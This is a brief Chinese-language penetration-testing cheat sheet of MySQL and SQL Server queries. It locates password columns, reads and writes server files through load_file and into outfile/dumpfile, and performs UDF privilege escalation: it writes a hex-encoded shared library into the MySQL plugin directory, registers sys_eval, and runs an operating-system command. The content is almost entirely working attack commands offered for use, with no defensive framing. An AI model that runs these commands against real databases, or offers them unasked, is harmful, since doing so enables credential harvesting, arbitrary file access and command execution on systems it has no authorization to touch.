mysql
找到含有password字段的表
select table_name,column_name from information_schema.columns where column_name like '%pwd%' or column_name like '%pass%'
找到含有特定字符串的表名
select table_name from information_schema.tables where table_schema='库名' and table_name like '%use%';
获取当前的连接 等同show processlist
select host from information_schema.processlist
读写文件
# 高版本只允许操作secure_file_priv变量指定目录下的文件
select @@secure_file_priv
# 写文件
# into dumpfile用于二进制文件,
select unhex('hexcode') into dumpfile '/usr/lib64/mysql/plugin/mysqludf.so';
# into outfile 主要的目的是导出 文本文件
select '123' into outfile /var/www/1.html
#读文件
select load_file('/etc/httpd/conf/httpd.conf')
# 有的时候读取很慢 ,可以不读整个文件 下面先以DocumentRoot分割,获取查找第3个左边的部分
substring(substring_index(substring_index(load_file('/etc/httpd/conf/httpd.conf'),'DocumentRoot',3),'DocumentRoot',-1),1,20)
udf 相关
#找到现有的自定义函数
select * from mysql.func;
# MySQL 5.0.67 开始udf需要在指定路径下
select @@plugin_dir
#导入udf库文件
select unhex('hexcode') into dumpfile '/usr/lib64/mysql/plugin/mysqludf.so';
#创建自定义函数
create function sys_eval returns string soname 'mysqludf.so';
# 执行自定义函数
select sys_eval('whoami');
sql server
找到含有password字段的表
select table_name,column_name from information_schema.columns where column_name like '%pwd%' or column_name like '%passw%'